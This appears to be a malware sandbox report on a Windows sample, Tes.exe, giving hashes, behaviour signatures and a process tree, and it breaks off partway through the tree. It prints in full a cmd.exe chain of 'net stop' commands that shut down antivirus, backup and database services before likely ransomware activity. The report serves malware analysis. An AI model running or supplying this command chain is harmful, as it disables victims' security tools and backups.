926a1cf61ac26f4b0bb0d1af623d1e22a98f4e53c34342ce20b245aa636d2c85

Analysis

max time kernel
246s
max time network
265s
platform
windows7_x64
resource
win7v20210410
submitted
20-08-2021 06:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Tes.exe
Size

154KB
MD5

a8e947ecf656a8cb91453e469705f574
SHA1

44428090dee86c656388ae49df65557fc5b7082d
SHA256

926a1cf61ac26f4b0bb0d1af623d1e22a98f4e53c34342ce20b245aa636d2c85
SHA512

6d8283073124cc671f152f332729c152d85fcba1e6dad45550ccdd713ce92df1554dae8d5980aa0fd6443eab33b5f9f22828051bfaf6111bfa95ffe05774da19

Score

3^/10

Malware Config

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1600 916 WerFault.exe Tes.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1992 taskkill.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

WerFault.exe

pid process

1600 WerFault.exe
1600 WerFault.exe
1600 WerFault.exe
1600 WerFault.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

1600 WerFault.exe

pid	pid_target	process	target process
1600	916	WerFault.exe	Tes.exe

pid	process
1992	taskkill.exe

pid	process
1600	WerFault.exe
1600	WerFault.exe
1600	WerFault.exe
1600	WerFault.exe

pid	process
1600	WerFault.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

Tes.exetaskkill.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	916	Tes.exe
Token: SeDebugPrivilege	916	Tes.exe
Token: SeDebugPrivilege	1992	taskkill.exe
Token: SeDebugPrivilege	1600	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Tes.execmd.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 916 wrote to memory of 1288	916	Tes.exe	cmd.exe
PID 916 wrote to memory of 1288	916	Tes.exe	cmd.exe
PID 916 wrote to memory of 1288	916	Tes.exe	cmd.exe
PID 916 wrote to memory of 1288	916	Tes.exe	cmd.exe
PID 1288 wrote to memory of 1348	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1348	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1348	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1348	1288	cmd.exe	net.exe
PID 1348 wrote to memory of 1316	1348	net.exe	net1.exe
PID 1348 wrote to memory of 1316	1348	net.exe	net1.exe
PID 1348 wrote to memory of 1316	1348	net.exe	net1.exe
PID 1348 wrote to memory of 1316	1348	net.exe	net1.exe
PID 1288 wrote to memory of 668	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 668	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 668	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 668	1288	cmd.exe	net.exe
PID 668 wrote to memory of 472	668	net.exe	net1.exe
PID 668 wrote to memory of 472	668	net.exe	net1.exe
PID 668 wrote to memory of 472	668	net.exe	net1.exe
PID 668 wrote to memory of 472	668	net.exe	net1.exe
PID 1288 wrote to memory of 848	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 848	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 848	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 848	1288	cmd.exe	net.exe
PID 848 wrote to memory of 304	848	net.exe	net1.exe
PID 848 wrote to memory of 304	848	net.exe	net1.exe
PID 848 wrote to memory of 304	848	net.exe	net1.exe
PID 848 wrote to memory of 304	848	net.exe	net1.exe
PID 1288 wrote to memory of 1500	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1500	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1500	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1500	1288	cmd.exe	net.exe
PID 1500 wrote to memory of 1120	1500	net.exe	net1.exe
PID 1500 wrote to memory of 1120	1500	net.exe	net1.exe
PID 1500 wrote to memory of 1120	1500	net.exe	net1.exe
PID 1500 wrote to memory of 1120	1500	net.exe	net1.exe
PID 1288 wrote to memory of 1640	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1640	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1640	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1640	1288	cmd.exe	net.exe
PID 1640 wrote to memory of 820	1640	net.exe	net1.exe
PID 1640 wrote to memory of 820	1640	net.exe	net1.exe
PID 1640 wrote to memory of 820	1640	net.exe	net1.exe
PID 1640 wrote to memory of 820	1640	net.exe	net1.exe
PID 1288 wrote to memory of 672	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 672	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 672	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 672	1288	cmd.exe	net.exe
PID 672 wrote to memory of 1680	672	net.exe	net1.exe
PID 672 wrote to memory of 1680	672	net.exe	net1.exe
PID 672 wrote to memory of 1680	672	net.exe	net1.exe
PID 672 wrote to memory of 1680	672	net.exe	net1.exe
PID 1288 wrote to memory of 1676	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1676	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1676	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1676	1288	cmd.exe	net.exe
PID 1676 wrote to memory of 1836	1676	net.exe	net1.exe
PID 1676 wrote to memory of 1836	1676	net.exe	net1.exe
PID 1676 wrote to memory of 1836	1676	net.exe	net1.exe
PID 1676 wrote to memory of 1836	1676	net.exe	net1.exe
PID 1288 wrote to memory of 1552	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1552	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1552	1288	cmd.exe	net.exe
PID 1288 wrote to memory of 1552	1288	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\Tes.exe
"C:\Users\Admin\AppData\Local\Temp\Tes.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net stop Acronis VSS Provider /y & net stop Enterprise Client Service /y & net stop Sophos Agent /y & net stop Sophos AutoUpdate Service /y & net stop Sophos Clean Service /y & net stop Sophos Device Control Service /y & net stop Sophos File Scanner Service /y & net stop Sophos Health Service /y & net stop Sophos MCS Agent /y & net stop Sophos MCS Client /y & net stop Sophos Message Router /y & net stop Sophos SafeStore Service /y & net stop Sophos Protection System Service /y & net stop Sophos Web Control Service /y & net stop SQLsafe ?????????? ??????????? ?????? /y & net stop SQLsafe Filter Service /y & net stop Symantec System Recovery /y & net stop Veeam Backup Service Data Catalog /y & net stop AcronisAgent /y & net stop AcrSch2Svc /y & net stop Antivirus /y & net stop ARSM /y & net stop BackupExecAgentAccelerator /y & net stop BackupExecAgentBrowser /y & net stop BackupExecDeviceMediaService /y & net stop BackupExecJobEngine /y & net stop BackupExecManagementService /y & net stop BackupExecRPCService /y & net stop BackupExecVSSProvider /y & net stop bedbg /y & net stop DCAgent /y & net stop EPSecurityService /y & net stop EPUpdateService /y & net stop EraserSvc11710 /y & net stop EsgShKernel /y & net stop FA_Scheduler /y & net stop IISAdmin /y & net stop IMAP4Svc /y & net stop macmnsvc /y & net stop masvc /y & net stop MBAMService /y & net stop MBEndpointAgent /y & net stop McAfeeEngineService /y & net stop McAfeeFramework /y & net stop McAfeeFrameworkMcAfeeFramework /y & net stop McShield /y & net stop McTaskManager /y & net stop mfemms /y & net stop mfevtp /y & net stop MMS /y & net stop mozyprobackup /y & net stop MsDtsServer /y & net stop MsDtsServer100 /y & net stop MsDtsServer110 /y & net stop MSExchangeES /y & net stop MSExchangeIS /y & net stop MSExchangeMGMT /y & net stop MSExchangeMTA /y & net stop MSExchangeSA /y & net stop MSExchangeSRS /y & net stop MSOLAP $ SQL_2008 /y & net stop MSOLAP $ SYSTEM_BGC /y & net stop MSOLAP $ TPS /y & net stop MSOLAP $ TPSAMA /y & net stop MSSQL $ BKUPEXEC /y & net stop MSSQL $ ECWDB2 /y & net stop MSSQL $ PRACTICEMGT /y & net stop MSSQL $ PRACTTICEBGC /y & net stop MSSQL $ PROFXENGAGEMENT /y & net stop MSSQL $ SBSMONITORING /y & net stop MSSQL $ SHAREPOINT /y & net stop MSSQL $ SQL_2008 /y & net stop MSSQL $ SYSTEM_BGC /y & net stop MSSQL $ TPS /y & net stop MSSQL $ TPSAMA /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop MSSQL $ VEEAMSQL2012 /y & net stop MSSQLFDLauncher /y & net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y & net stop MSSQLFDLauncher $ SBSMONITORING /y & net stop MSSQLFDLauncher $ SHAREPOINT /y & net stop MSSQLFDLauncher $ SQL_2008 /y & net stop MSSQLFDLauncher $ SYSTEM_BGC /y & net stop MSSQLFDLauncher $ TPS /y & net stop MSSQLFDLauncher $ TPSAMA /y & net stop MSSQLSERVER /y & net stop MSSQLServerADHelper100 /y & net stop MSSQLServerOLAPService /y & net stop MySQL80 /y & net stop MySQL57 /y & net stop ntrtscan /y & net stop OracleClientCache80 /y & net stop PDVFSService /y & net stop POP3SVC /y & net stop ReportServer /y & net stop ReportServer $ SQL_2008 /y & net stop ReportServer $ SYSTEM_BGC /y & net stop ReportServer $ TPS /y & net stop ReportServer $ TPSAMA /y & net stop RESVC /y & net stop sacsvr /y & net stop SamSs /y & net stop SAVAdminService /y & net stop ????????? /y & net stop SDRSVC /y & net stop SepMasterService /y & net stop ShMonitor /y & net stop Smcinst /y & net stop SmcService /y & net stop SMTPSVC /y & net stop SNAC /y & net stop SntpService /y & net stop sophossps /y & net stop SQLAgent $ BKUPEXEC /y & net stop SQLAgent $ ECWDB2 /y & net stop SQLAgent $ PRACTTICEBGC /y & net stop SQLAgent $ PRACTTICEMGT /y & net stop SQLAgent $ PROFXENGAGEMENT /y & net stop SQLAgent $ SBSMONITORING /y & net stop SQLAgent $ SHAREPOINT /y & net stop SQLAgent $ SQL_2008 /y & net stop SQLAgent $ SYSTEM_BGC /y & net stop SQLAgent $ TPS /y & net stop SQLAgent $ TPSAMA /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2012 /y & net stop SQLBrowser /y & net stop SQLSafeOLRService /y & net stop SQLSERVERAGENT /y & net stop SQLTELEMETRY /y & net stop SQLTELEMETRY $ ECWDB2 /y & net stop SQLWriter /y & net stop SstpSvc /y & net stop svcGenericHost /y & net stop swi_filter /y & net stop swi_service /y & net stop swi_update_64 /y & net stop TmCCSF /y & net stop tmlisten /y & net stop TrueKey /y & net stop TrueKeyScheduler /y & net stop TrueKeyServiceHelper /y & net stop UI0Detect /y & net stop VeeamBackupSvc /y & net stop VeeamBrokerSvc /y & net stop VeeamCatalogSvc /y & net stop VeeamCloudSvc /y & net stop VeeamDeploymentService /y & net stop VeeamDeploySvc /y & net stop VeeamEnterpriseManagerSvc /y & net stop VeeamMountSvc /y & net stop VeeamNFSSvc /y & net stop VeeamRESTSvc /y & net stop VeeamTransportSvc /y & net stop W3svc /y & net stop wbengine /y & net stop WRSVC /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop VeeamHvIntegrationSvc /y & net stop swi_update /y & net stop SQLAgent $ CXDB /y & net stop SQLAgent $ CITRIX_METAFRAME /y & net stop SQL ???????? /y & net stop MSSQL $ PROD /y & net stop Zoolz 2 ?????? /y & net stop MSSQLServerADHelper /y & net stop SQLAgent $ PROD /y & net stop msftesql $ PROD /y & net stop NetMsmqActivator /y & net stop EhttpSrv /y & net stop ekrn /y & net stop ESHASRV /y & net stop MSSQL $ SOPHOS /y & net stop SQLAgent $ SOPHOS /y & net stop AVP /y & net stop klnagent /y & net stop MSSQL $ SQLEXPRESS /y & net stop SQLAgent $ /y & net stop SQLEXPRESS /y & net stop wbengine /y & net stop kavfsslp /y & net stop KAVFSGT /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
4⤵
PID:1316

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
4⤵
PID:472

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
3⤵
- Suspicious use of WriteProcessMemory
PID:848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
4⤵
PID:304

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
4⤵
PID:1120

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
4⤵
PID:820

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
4⤵
PID:1680

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
4⤵
PID:1836

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
3⤵
PID:1552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
4⤵
PID:328

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
3⤵
PID:1036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
4⤵
PID:592

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
3⤵
PID:1996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
4⤵
PID:1236

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
3⤵
PID:544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
4⤵
PID:1944

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
3⤵
PID:1548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
4⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
3⤵
PID:1800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
4⤵
PID:1376

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
3⤵
PID:1544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
4⤵
PID:360

C:\Windows\SysWOW64\net.exe
net stop SQLsafe ?????????? ??????????? ?????? /y
3⤵
PID:1756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe ?????????? ??????????? ?????? /y
4⤵
PID:1612

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
3⤵
PID:1724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
4⤵
PID:888

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
3⤵
PID:964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
4⤵
PID:952

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
3⤵
PID:940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
4⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
3⤵
PID:1936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
4⤵
PID:1880

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
3⤵
PID:1788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
3⤵
PID:1876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
4⤵
PID:2028

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
3⤵
PID:824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
4⤵
PID:1636

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
3⤵
PID:112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
4⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
3⤵
PID:844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
4⤵
PID:2036

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
3⤵
PID:1328

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
4⤵
PID:1296

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
3⤵
PID:524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
4⤵
PID:1348

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
3⤵
PID:756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
4⤵
PID:668

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
3⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
4⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
3⤵
PID:616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
4⤵
PID:1500

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
3⤵
PID:1868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
4⤵
PID:1640

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
3⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
4⤵
PID:672

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
3⤵
PID:972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
4⤵
PID:1676

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
3⤵
PID:764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
4⤵
PID:328

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
3⤵
PID:1552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
4⤵
PID:792

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
3⤵
PID:592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
4⤵
PID:1036

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
3⤵
PID:932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
4⤵
PID:1236

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
3⤵
PID:1996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
4⤵
PID:1932

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
3⤵
PID:1944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
4⤵
PID:544

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
3⤵
PID:1672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
4⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop masvc /y
3⤵
PID:1548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
4⤵
PID:1520

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
3⤵
PID:1376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
4⤵
PID:1800

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
3⤵
PID:1484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
4⤵
PID:360

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
3⤵
PID:1544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
4⤵
PID:1716

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
3⤵
PID:1612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
4⤵
PID:1756

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
4⤵
PID:888

C:\Windows\SysWOW64\net.exe
net stop McShield /y
3⤵
PID:1724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
4⤵
PID:944

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
3⤵
PID:952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
4⤵
PID:964

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
3⤵
PID:1824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
4⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
3⤵
PID:940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
4⤵
PID:1792

C:\Windows\SysWOW64\net.exe
net stop MMS /y
3⤵
PID:1880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
4⤵
PID:1936

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
3⤵
PID:1664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
4⤵
PID:1820

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
3⤵
PID:1788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
4⤵
PID:1092

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
3⤵
PID:2028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
4⤵
PID:1876

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
3⤵
PID:1232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
4⤵
PID:1636

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
3⤵
PID:824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
4⤵
PID:1752

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
3⤵
PID:1056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
4⤵
PID:112

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
3⤵
PID:1976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
4⤵
PID:2036

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
3⤵
PID:844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
4⤵
PID:652

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
3⤵
PID:1296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
4⤵
PID:1328

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
3⤵
PID:528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
4⤵
PID:1348

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
3⤵
PID:524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
4⤵
PID:1496

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
4⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
3⤵
PID:1648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
4⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
3⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
4⤵
PID:1560

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
3⤵
PID:1500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
4⤵
PID:616

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
3⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
4⤵
PID:1640

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
3⤵
PID:1868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
4⤵
PID:436

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
4⤵
PID:1628

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
4⤵
PID:1836

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
3⤵
PID:984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
4⤵
PID:280

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
3⤵
PID:1428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
4⤵
PID:948

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
3⤵
PID:1096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
4⤵
PID:1144

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:1988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
4⤵
PID:920

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
3⤵
PID:1992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
4⤵
PID:316

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
3⤵
PID:1352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
4⤵
PID:704

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:1784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
4⤵
PID:1536

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:1804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
4⤵
PID:1388

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
3⤵
PID:1592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
4⤵
PID:1304

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
4⤵
PID:1568

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:1608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
4⤵
PID:1580

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:1600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
4⤵
PID:1340

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:1604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
4⤵
PID:2040

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
